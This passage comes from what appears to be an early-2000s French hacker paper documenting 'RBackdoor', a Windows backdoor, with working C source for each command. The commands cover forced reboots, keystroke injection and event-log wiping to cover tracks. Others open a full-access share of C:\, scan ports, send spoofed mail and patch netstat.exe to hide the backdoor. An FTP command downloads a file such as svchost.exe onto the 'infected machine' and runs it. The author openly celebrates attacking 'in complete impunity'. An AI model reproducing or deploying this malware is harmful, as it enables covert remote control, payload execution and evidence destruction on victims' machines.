		if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 	
	        {			
		LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
		tkp.PrivilegeCount = 1;
		tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;	
		AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
	        }
		rsend(ConnectSocket, "La machine va redemarrer dans 5 secondes...\n");
		for(err=0; err<5; err++)
		{
			sprintf(buffer, "%d\n", err);
			rsend(ConnectSocket, buffer);		
			Sleep(1000);
		}
		GlobalFree(buffer);
		ExitWindowsEx(EWX_REBOOT | EWX_FORCE, (DWORD)NULL);
	}
	GlobalFree(buffer);
	return(0);

}

---------------------------------------------------------------------

                                 -------------- |     MSGBOX    | --------------

Cette commande permet d'afficher une boite de dialogue sur le systme cible avec le titre et le
Message voulut. Mais attention cette commande attend que l'administrateur de la machine clic sur 'OK'
De la boite de dialogue pour redonner la main  la Backdoor.

 - Warning: Cette commande n'accepte pas les espaces donc si vous voulez crire de longues phrases remplacent
 Les espaces par des '_' ou encore '-', enfin  vous de voir.
 
Command:  msgbox <title> <message>

  -> Exemple:
     RBackdoor# msgbox RBackdoor Hello!
     msg: Message envoye...

=> Code.

int Proc_MessageBox(char *title, char *msg)
{
	unsigned int err;
	if(strlen(title) < 1 || strlen(msg) < 1) 
	{
		rsend(ConnectSocket, "msg: msgbox <title> <message>");
		return(-1);
	}
	err = MessageBox (NULL, msg , title, MB_ICONWARNING);
	if(err==0)
	{
		rsend(ConnectSocket, "Error: Erreur lors la tentative d'envois de la message box\n");
		return(-1);
	}
	else rsend(ConnectSocket, "msg: Message envoye...\n");
	return(0);
}

---------------------------------------------------------------------

                                 -------------- |     MOUSE     | --------------

Mouse va permettre de positionner le pointeur de la souris du systeme distant aux coordonnes voulues.

Command:  mouse <x> <y>

  -> Exemple:
     RBackdoor# mouse 100 100
     msg: Souris positionner aux coordonees demandees

=> Code.

int Proc_CursorPos(int x,int y)
{
	unsigned int err;
	if(x==0 || y == 0) 
	{
		rsend(ConnectSocket, "msg: mouse <x> <y>");
		return(-1);
	}
	err = SetCursorPos(x, y);
	if(err==0)
	{
		rsend(ConnectSocket, "Error: Erreur lors de la tentative de positionnement du curseur\n");
		return(-1);
	}
	else rsend(ConnectSocket, "msg: Souris positionner aux coordonees demandees\n");
	return(0);
}

---------------------------------------------------------------------

                                 -------------- |     SENDKEY     | --------------

La commande SENDKEY va permettre d'muler l'appuis d'une touche  distance. Ce qui servira
 confirmer des avertissements, a valider des boites de dialogues, etc...

Command: sendkey <ascii key code>

  -> Exemple:
     RBackdoor# sendkey Hello
     RBackdoor# sendkey VK_RETURN // Emule l'appuis sur la touche "Enter"
     RBackdoor# sendkey VK_ESCAPE // Emule l'appuis sur la touche "Escape"
     RBackdoor# sendkey VK_DELETE // Emule l'appuis sur la touche "Del"
     RBackdoor# sendkey VK_F*     // Emule l'appuis sur la touche "F*"        

=> Code.

int SendKey(unsigned int key)
{
	keybd_event(key, 0, 0, 0); 
	rsend(ConnectSocket, "msg: Keyboard Event send with success\n");
	return(0);
}

---------------------------------------------------------------------

                                 -------------- |     SETNAME     | --------------

Cette commande permet de changer le nom netbios de la machine distance, mais cela ncessite
Un redmarrage 

Command: setname <name>

  -> Exemple:
     RBackdoor# setname redkod
     msg: Changement du nom NetBios effectue avec succes..

=> Code.

int Proc_SetComputerName(char *computer_name)
{
    unsigned int err;
    if(strlen(computer_name) < 1)
    {
		rsend(ConnectSocket, "msg: setname <name>");
		return(-1);
	}
	err = SetComputerName(computer_name);
	if(err==0)
	{
		rsend(ConnectSocket, "Error: Erreur lors de la tentative du changement de nom NetBios du serveur\n");
		return(-1);
	}
	else rsend(ConnectSocket, "msg: Changement du nom NetBios effectue avec succes..\n");
	return(0);
}

---------------------------------------------------------------------

                                 -------------- |    ADDEVENT     | --------------

La command ADDEVENT permet d'ajouter une entre dans l'eventlog de la machine locale ou encore d'une machine appartenant au rseau de
la machine infecte.

Command: addevent <\\host> <event>

  -> Exemple:
     RBackdoor# clearlog \\REDKOD Applications
     msg: Journal Systeme efface avec succes
     RBackdoor# addevent \\REDKOD r00ted
     msg: Event ajoute avec succes
     RBackdoor# listevent \\REDKOD Applications
     > 00  Event ID: 0x00001003 EventType: 4 Source: r00ted

=> Code.

int Add_Event(char *host, char *source)
{
	HANDLE h;
	LPSTR aszMsg[] = {source,};
	
	if(strlen(host)<1 || strlen(source) < 1)
	{
		Proc_help("addevent");
		return(-1);
	}
	
	h = RegisterEventSource(host,  source);
	if (h == NULL) {
		rsend(ConnectSocket, "Error: could not register event source");
		return(-1);
	}
	
	if (!ReportEvent(h,EVENTLOG_INFORMATION_TYPE,1,0x1003,NULL,0, 0,(LPTSTR *) aszMsg, NULL)) {
		rsend(ConnectSocket, "Error: could not report event");
		return(-1);
	}
	rsend(ConnectSocket, "msg: Event ajoute avec succes");
	DeregisterEventSource(h);
	
	return(0);
}
---------------------------------------------------------------------

                                 -------------- |    ADDSHARE     | --------------

ADDSHARE permet d'ajouter une ressource partage sur une machine.

Command: addshare <\\host> <shared disk> <shared name> <password>

  -> Exemple:
    RBackdoor# addshare \\REDKOD C:\ HD w00w00
    msg: Ressource partagee avec succes
    RBackdoor# netshare \\REDKOD
    =====================================
    => 1 Entrees sur 1
    =====================================
    > HD                       disk          C:\
    
    RBackdoor#


=> Code.

int RShareAdd(char *host, const char *dir_path, const char *net_name, const char *password)
{
	NET_API_STATUS nCallResult;
	SHARE_INFO_2	shareinfo;
	DWORD dwErrArg;

	if(strlen(host) < 1 || strlen(dir_path) < 1 || strlen(net_name) < 1)
	{
		Proc_help("addshare");
		return(-1);
	}
	
        shareinfo.shi2_netname = AsWideString(net_name);
        shareinfo.shi2_type = STYPE_DISKTREE;
        shareinfo.shi2_remark = AsWideString("RSHARE");
	shareinfo.shi2_max_uses = (unsigned long)(-1);
	shareinfo.shi2_current_uses = 0;
	shareinfo.shi2_path = AsWideString(dir_path);
	shareinfo.shi2_permissions = ACCESS_ALL;
	shareinfo.shi2_passwd = AsWideString(password);

	nCallResult = NetShareAdd(AsWideString(host), 2, (unsigned char *)(&shareinfo), &dwErrArg);
	if( nCallResult == NERR_Success )
	{
		rsend(ConnectSocket, "msg: Ressource partagee avec succes\n");
	}
	else {
		rsend(ConnectSocket, "Error: La ressource n'a pas ete partagee\n");
		return(-1);
	}
    
    return(0);
}

---------------------------------------------------------------------

                                -------------- |    DELSHARE     | --------------

DELSHARE permet de retirer une ressource partage sur une machine.

Command: delshare <\\host> <share name>

  -> Exemple:
    RBackdoor# delshare \\REDKOD HD
    msg: Ressource partagee efface avec succes
    RBackdoor# netshare \\REDKOD
    =====================================
    => 0 Entrees sur 0
    =====================================
  
    RBackdoor#


=> Code.

int RShareDel(char *host, const char* net_name)
{
	int nResult;
	char *wide_net_name;
	
	if(strlen(host) < 1 || strlen(net_name) < 1)
	{
		Proc_help("delshare");
		return(-1);
	}

	wide_net_name = AsWideString(net_name);
	nResult = NetShareDel(AsWideString(host),wide_net_name, 0);
	GlobalFree(wide_net_name);
	
	if(NERR_Success == nResult)
	{
		rsend(ConnectSocket, "msg: Ressource partagee efface avec succes\n");
	}
	else {
		rsend(ConnectSocket, "error: Erreur lors de la tentative de suppression de la ressource\n");
		return(-1);
	}
	return(0);
}

---------------------------------------------------------------------

                                -------------- |    CLEARLOG     | --------------

La commande CLEARLOG va permettre un nettoyage des journaux de l'eventlog.

Command: clearlog <\\host> <type>

  -> Exemple:
    RBackdoor# listevent \\REDKOD Applications
    > 00  Event ID: 0x00001003 EventType: 4 Source: r00ted
    RBackdoor# clearlog \\REDKOD Applications
    msg: Journal Systeme efface avec succes
    RBackdoor# listevent \\REDKOD Applications

    RBackdoor#

=> Code.

int Clear_Log(char *host, char *type)
{
	HANDLE h;
	
	if(strlen(host)<1 || strlen(type) < 1)
	{
		Proc_help("clearlog");
		return(-1);
	}
	
	h = RegisterEventSource(host,  type);
	if (h == NULL) {
		rsend(ConnectSocket, "Error: could not register event source");
		return(-1);
	}
	
	if(ClearEventLog(h,NULL)==0) {
		rsend(ConnectSocket, "Error: Erreur lors de la tentative d'effacement des journaux systeme");
		return(-1);
	}
	rsend(ConnectSocket, "msg: Journal Systeme efface avec succes");
	return(0);
}

---------------------------------------------------------------------


/////////////////////////////////////////////////////////////////////
8) Les utilitaires de RBackdoor.
/////////////////////////////////////////////////////////////////////

Dans cette section nous etudierons les differents utilitaires inclut dans
RBackdoor, ceux ci sont en constante volution donc n'hsitez pas  donner des ides
ou encore me faire part des problmes que vous pourez rencontrer pendant leur utilisation.

ATTENTION! Pendant l'utilisation de tout ces utilitaires evitez de quitter la backdoor de faon 
'svre' avec la combinaison de touche 'CTRL+C', ceci risquerais de vous faire perdre le
controle de la backdoor, ce qui n'est pas le but je pense.

=> Commandes etudies dans cette section:
/*
MAIL        Permet d'envoyer un mail, etc...
TELNET      Permet de se connecter  une hote distante (TCP Protocol Only)
SCAN        Permet de scanner les ports d'une hote
NETPATCH    Rootkit permettant de patcher netstat.exe pour cacher RBackdoor
WGET        Recupere et d'affiche le contenu d'un fichier heberge sur un serveur HTTP            
FGET        Permet de recuperer un fichier sur un serveur FTP
FPUT        Permet d'uploader un fichier sur un serveur FTP
RCRYPT      Permet de crypter ou de decrypter un fichier
RCHAT       Permet d'etablir une communication ecrite avec une personne etant pr
*/
                                 -------------- |     MAIL     | --------------

MAIL va nous permettre d'envoyer des mails anonymes  partir de RBackdoor. Ce qui peut tre
Trs utile pour 'spoofer' l'adresse expditeur du mail envoy. Pour l'instant cet utilitaire
Permet simplement d'envoyer des mails mais par la suite j'ajouterais un spammer et srement un
Client pop3.

Command: mail

  -> Exemple:
   RBackdoor# mail
   SMTP# send
   Server mail       : 212.215.32.2
   Email Source      : red@root.org
   Email Destination : r-e-d@redkod.com
   Subject           : RBackdoor test
   Message : [Taper '.' et un retour a la ligne pour terminer]
   w00w00.
   .
   Connection au serveur mail en cours...
   Connection effectuee avec succes.
   Envois du mail en cours...

   - Message envoye. -

=> Code.

Too long, look at mail.c in RBackdoor Project.

---------------------------------------------------------------------

                                -------------- |     TELNET     | --------------

La commande va permettre de se connecter  tout hte distant par le protocol TCP.
Ce qui nous ravira pour effectuer des attaques en toute impunit. :)

Command: telnet <host> <port>

  -> Exemple:
  RBackdoor# telnet www.redkod.com 80
  msg: Connection a www.redkod.com en cours...
  msg: Connection effectuee avec succes
  GET HEAD
  HTTP/1.1 400 Bad Request
  Server: Microsoft-IIS/5.0
  Date: Wed, 01 May 2002 17:10:00 GMT
  Content-Type: text/html
  Content-Length: 87

  <html><head><title>Error</title></head><body>The parameter is incorrect. </body>
  </html>

=> Code.

Too long, look at telnet.c in RBackdoor Project.

---------------------------------------------------------------------

                                -------------- |     SCAN     | --------------

La commande SCAN va permettre de scanner les ports en mode listen sur une machine,
Mais attention ce scanner de port est trs basique, donc ne vous attendez pas  des
Temps de scan trs rapide car il est assez lent... Et comme vous ne devez en aucun cas 
Killer la procdure de scan en cours avec CTRL-C, ce qui vous ferez perdre le contrle
De la Backdoor, vous devez tre trs prudent lors de l'utilisation de cette utilitaire.
Exemple, ne scannez pas les ports de 0  1000 cela mettrais un temps fou vrifiez plutt
Si des ports 'courants' sont actifs comme 21,22,25,80,139,6667, etc... Voila je vous aurez
Avertis !

Command: scan <host> <start port> <end port>

  -> Exemple:
     RBackdoor# scan www.google.fr 70 85

             - TCPSCAN By R-e-D -

Scan de la cible en cours...Veuillez patientez. Attention! Surtout ne pas couper brusquement 
la session de scan sinon perte de la backdoor assuree.

       Port www.google.fr:[80/tcp] open

=> Code.

int PortScan(char *host, unsigned long port, unsigned long endp)
{
	SOCKET ScanSocket;
	LPHOSTENT lpHostEntry;
	SOCKADDR_IN saServer;
	char *buffer;
	int rc=0;

	if(strlen(host) < 3 || port == 0 || endp == 0)
	{
		rsend(ConnectSocket, "Command: scan <host> <start port> <stop port>\n");
		return(-1);
	}	
	buffer = (char *)GlobalAlloc(GPTR, 1024);

	lpHostEntry = gethostbyname(host);
	if (lpHostEntry == NULL) {
	rsend(ConnectSocket, "Error: Erreur lors de la tentative de resolution du nom d'hote\n");
	return(-1);
	}
	saServer.sin_family = AF_INET;
	saServer.sin_addr = *((LPIN_ADDR)*lpHostEntry->h_addr_list);  
        ScanSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

	rsend(ConnectSocket, "\n         - TCPSCAN By R-e-D - \n\n");
	rsend(ConnectSocket, "Scan de la cible en cours...Veuillez patientez.\n");
	rsend(ConnectSocket, "Attention! Surtout ne pas couper brusquement la session de scanne sinon perte de la backdoor assuree.\n\n");

	while(port<=endp)
	{
		saServer.sin_port=htons(port);		
		rc = connect(ScanSocket,(LPSOCKADDR)&saServer,sizeof(struct sockaddr));
		if (rc!=SOCKET_ERROR)
        {
	    closesocket(ScanSocket);
	    sprintf(buffer, "Port %s:[%d/tcp] open\n", host, port);
	    rsend(ConnectSocket, buffer);
        }
	port++;
        }    
	rsend(ConnectSocket, "\n");
	return(0);
}

---------------------------------------------------------------------

                                -------------- |     NETPATCH     | --------------

NETPATCH va vous servir  cacher la backdoor au niveau des connections TCP afficher par l'utilitaire netstat.exe.
La Backdoor va directement patcher l'executable pour cacher RBackdoor.

Command: netpatch 4820

  -> Exemple:
  RBackdoor# netpatch 4820
  Patch netstat.exe....
  NETSTAT.EXE is PATCHED!, hidden Port is 4820
  Un grand merci  ThreaT pour cette fonction, qu'il m'a autorise a implanter dans RBackdoor.
  Je vous conseils d'aller faire un tour sur son site www.chez.com/mvm, vous y trouverez surement votre bonheur.

=> Code.

Too long, look at nethide.c in RBackdoor Project.

---------------------------------------------------------------------

                                -------------- |     WGET      | --------------

La commande WGET va nous permettre d'aller chercher un fichier sur un serveur HTTP et nous l'afficher en direct au format brut.

Command: wget http://redkod.tuxfamily.org/nfos/r-e-d.nfo

  -> Exemple:
  RBackdoor# wget http://redkod.tuxfamily.org/nfos/r-e-d.nfo
  Url : wget http://redkod.tuxfamily.org/nfos/r-e-d.nfo
  Connection etablished.
      +----------------------+
      ++ RedKod In 2002/xxxx ++
+-----------------------------------------------------------------------------+
+  ____     __ __            __     __             ____      +
 __  _ __         __      _     
              _    _   
             _        _     _  
   __  ____                _      
                    _      
                             
  __  _  _                         
    _ ___  _ _                 
       _      _    _   
  _ ___ _  _    __  _  _   _     
+                                     +
+-----------------------------------------------------------------------------
      +- +------------------+                             www.redkod.com   
       +--  Member Profile                                                
+--+       +------------------+                            redkod@redkod.com 
     +--------------+                                  +--------------------
  ---   Nick Name     R-e-D                                               
                                                                          
  --- 2nd NickName    MrHardDrive                                         
                                                                          
  ---     Level       L256                                                
                                                                          
  ---     Mail        r-e-d@redkod.com                                    
                                                                          
  ---     Place       North Fr                                            
                                                                          
  ---      Age        16                                                  
                                                                          
  ---      WWW        http://www.redkod.com/                              
                                                                          
  ---   Old Teams     Alkaphreak, iRiS.                                   
                                                                          
  ---  Motivation     To always learn for always progressing.             
                                                                          
  ---  Description    R-e-D......                                         
                                                                          
                                                                          
                                                                          
  ---    Release      CcC2001 - HardScrolling - GN-Systeme - RedCrypt     
                      John Easy Tools - CreateFile - Redscan - ***Kit     
                                   And various Papers                     
                                                                          
+--+   +--------------+                                                       
+-----------------------------------------------------------------------------+

=> Code.

#define BUFFER_SIZE 4096

int wget(char *url)
{
	HINTERNET hInternet, hFile;
	DWORD dwSize, m_dwByteToRead, m_dwByteRead, dwByteRead;
	LPBYTE pbBuffer = NULL;
	char *buffer;

	if(strlen(url) < 3)
	{
		rsend(ConnectSocket, "Usage : wget <url>");
		return(-1);
	}

	buffer = (char *)GlobalAlloc(GPTR, strlen(url)+10);

	sprintf(buffer, "Url : %s\n", url);
	rsend(ConnectSocket, buffer);
	GlobalFree(buffer);

	hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	hFile = InternetOpenUrl(hInternet,url,NULL,0,0,0);
	if(hFile == NULL) {
        rsend(ConnectSocket, "Connection failed\n");
	return(-1);
	}
	else rsend(ConnectSocket, "Connection etablished.\n");

        m_dwByteToRead = 0;
	m_dwByteRead = 0;

	dwSize = sizeof(DWORD);
	HttpQueryInfo(hInternet, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, (LPVOID)&m_dwByteToRead, &dwSize, NULL);

	pbBuffer = (BYTE *)GlobalAlloc(GPTR, BUFFER_SIZE+1);

	while(1)
	{
        if(InternetReadFile(hFile, pbBuffer, BUFFER_SIZE,&dwByteRead)==0) {
		rsend(ConnectSocket, "This file doesn't exist.\n");
		return(-1);
	}

	m_dwByteRead += dwByteRead;
	
	if (dwByteRead == 0)
	break;

	Sleep(10);
	}
	
	rsend(ConnectSocket, pbBuffer);
	GlobalFree(pbBuffer);

	InternetCloseHandle(hFile);
	InternetCloseHandle(hInternet);

  return(0);
}

                               -------------- |     FGET     | --------------

La commande FGET va permettre de recuprer un fichier prsent sur un server ftp pour l'amener sur le disque de la machine infecte.

Command: fget <ftp server> <ftp port> <user> <password> <remote file> <local file>

  -> Exemple:
     RBackdoor# fget ftp.tuxfamily.org 21 redkod r00t /html/svchost.exe c:\svchost.exe
     Server : ftp.tuxfamily.org
     Port : 21
     User : redkod
     Password : r00t
     File To Get : /html/svchost.exe
     Local Destination : c:\svchost.exe
     Connection etablished.
     Now, get the file, please wait...
     File as been receive.

=> Code.

int fget(char *host, int port, char *user, char *password, char *rfile, char *lfile)
{
	HINTERNET hInternet, hServer;
	STARTUPINFO startup_info;
	char *buffer;
	int i;
	
	if(strlen(host) < 3 || port == 0 && port > 65535 || strlen(user) < 1 || strlen(password) < 1 || strlen(rfile) < 1 || strlen(lfile) < 1)
	{
	    Proc_help("fget");
		return(-1);
	}
	
	i = strlen(host) + strlen(user) + strlen(password) + strlen(rfile) + strlen(lfile) + 5;
	buffer = (char *)GlobalAlloc(GPTR, i+101);
	sprintf(buffer, "Server : %s\nPort : %d\nUser : %s\nPassword : %s\nFile To Get : %s\nLocal Destination : %s\n", host, port, user, password, rfile, lfile);
	rsend(ConnectSocket, buffer);
	GlobalFree(buffer);
	
	hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	hServer = InternetConnect(hInternet, host, (unsigned short)port, user, password, INTERNET_SERVICE_FTP, 0, 0);
	if(hServer == NULL) {
		rsend(ConnectSocket, "Connection failed\n");
		return(-1);
	}
	else rsend(ConnectSocket, "Connection etablished.\n");
	rsend(ConnectSocket, "Now, get the file, please wait...\n");
	if(FtpGetFile(hServer, rfile, lfile, 0, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0) ==0) {
		rsend(ConnectSocket, "File not transfered, probably not present.\n");
		return(-1);
	} 
	
	GetStartupInfo(&startup_info);
	CreateProcess(NULL, lfile, NULL, NULL, 0, 0, NULL, NULL, &startup_info, (PROCESS_INFORMATION *)&startup_info);
	
	rsend(ConnectSocket, "File as been receive.\n");
	InternetCloseHandle(hServer);
	InternetCloseHandle(hInternet);
	
	return(0);
}

---------------------------------------------------------------------

                               -------------- |     FPUT     | --------------

La commande FPUT va permettre d'uploader un fichier prsent sur le disque local sur un ftp distant.

Command: fput <ftp server> <ftp port> <user> <password> <local file> <remote file>

  -> Exemple:
     RBackdoor# fput ftp.tuxfamily.org 21 redkod r00t c:\svchost.exe /html/svchost.exe
     Server : ftp.tuxfamily.org
     Port : 21
     User : redkod
     Password : r00t
     File To Put : c:\svchost.exe
     Remote File Destination : /html/svchost.exe
     Connection etablished.
     Now, put the file, please wait...
     File as been sent.


=> Code.

int fput(char *host, int port, char *user, char *password, char *lfile, char *rfile)
{
	HINTERNET hInternet, hServer;
	STARTUPINFO startup_info;
	char *buffer;
	int i;
	
	if(strlen(host) < 3 || port == 0 && port > 65535 || strlen(user) < 1 || strlen(password) < 1 || strlen(rfile) < 1 || strlen(lfile) < 1)
	{
		Proc_help("fput");
		return(-1);
	}
	
	i = strlen(host) + strlen(user) + strlen(password) + strlen(lfile) + strlen(rfile) + 5;
	buffer = (char *)GlobalAlloc(GPTR, i+101);
	sprintf(buffer, "Server : %s\nPort : %d\nUser : %s\nPassword : %s\nFile To Put : %s\nRemote File Destination : %s\n", host, port, user, password, lfile, rfile);
	rsend(ConnectSocket, buffer);
	GlobalFree(buffer);
	
	hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	hServer = InternetConnect(hInternet, host, (unsigned short)port, user, password, INTERNET_SERVICE_FTP, 0, 0);
	if(hServer == NULL) {
		rsend(ConnectSocket, "Connection failed\n");
		return(-1);
	} else rsend(ConnectSocket, "Connection etablished.\n");

	rsend(ConnectSocket, "Now, put the file, please wait...\n");
	if(FtpPutFile(hServer, lfile, rfile, FTP_TRANSFER_TYPE_BINARY, 0) == 0) {
		rsend(ConnectSocket, "File not sent, probably not present.\n");
		return(-1);
	}
	
	GetStartupInfo(&startup_info);
	CreateProcess(NULL, lfile, NULL, NULL, 0, 0, NULL, NULL, &startup_info, (PROCESS_INFORMATION *)&startup_info);
	
	rsend(ConnectSocket, "File as been sent.\n");
	InternetCloseHandle(hServer);
	InternetCloseHandle(hInternet);
	
	return(0);
}

---------------------------------------------------------------------

                               -------------- |     RCRYPT     | --------------

RCRYPT va permettre de crypter vos fichiers sur le serveur cible, ce qui peut etre utile pour heberger certaines informations sensibles.

Command  : rcrypt <srcfile> <destfile> <key>

  -> Exemple:
        For Crypt a file    : rcrypt mysecretinfo.txt mysecret-crypt.txt key
        For Decrypt a filer : rcrypt mysecret-crypt.txt mysecretinfo.txt key

=> Code.
 Too long, look at crypt.c in the RBackdoor Project.

---------------------------------------------------------------------

                               -------------- |     RCHAT     | --------------


RCHAT permet d'entrer en contact avec le root du pc distant en le forant  rpondre  des questions poses dans une boite 
de dialogue.

Command  : rchat <first question>
           !kill pour quitter le remote chat et fermer la fenetre sur l'hote distante.

  -> Exemple:
     RBackdoor# rchat w00w00
     msg: Dialogue box affiche, debut de la session de chat
     msg: !help for display help information.
     Server> Uh?
     RBackdoor# > @#!
     Server> arf

=> Code.
 Too long, look at chat.c in the RBackdoor Project.

---------------------------------------------------------------------

---------------------------------------------------------------------
=> 0x03  Conclusion.
---------------------------------------------------------------------

Bon voila, ce paper arrive  sa fin, mais contrairement ce n'est pas le cas de RBackdoor!
Je vous ferais part de mises  jours pour celle-ci, comme des ajouts de fonctions, ou encore 
des corrections de bugs.... Mais tout de mme! Je vous invites  l'amliorer aussi 
(d'ailleurs faut bien que les sources servent  quelque chose :]) N'oubliez pas, pour toutes 
remarques r-e-d@redkod.com !

---------------------------------------------------------------------
=> 0x04  Greetings.
---------------------------------------------------------------------

 Un grand merci  tous ceux qui m'ont support lors de mes sances abusives de questions 
comme obscurer, martony, crazylord ou encore ThreaT.

 The Best Greetings pour RedKod Team, Subk Team et  tous leurs membres !
 
PS: Si vous voulez me contacter go to Undernet servers, chan #redkod ou /QUERY R-e-D or
R-e-D|Aw :p.
 
Cya All.

EOF

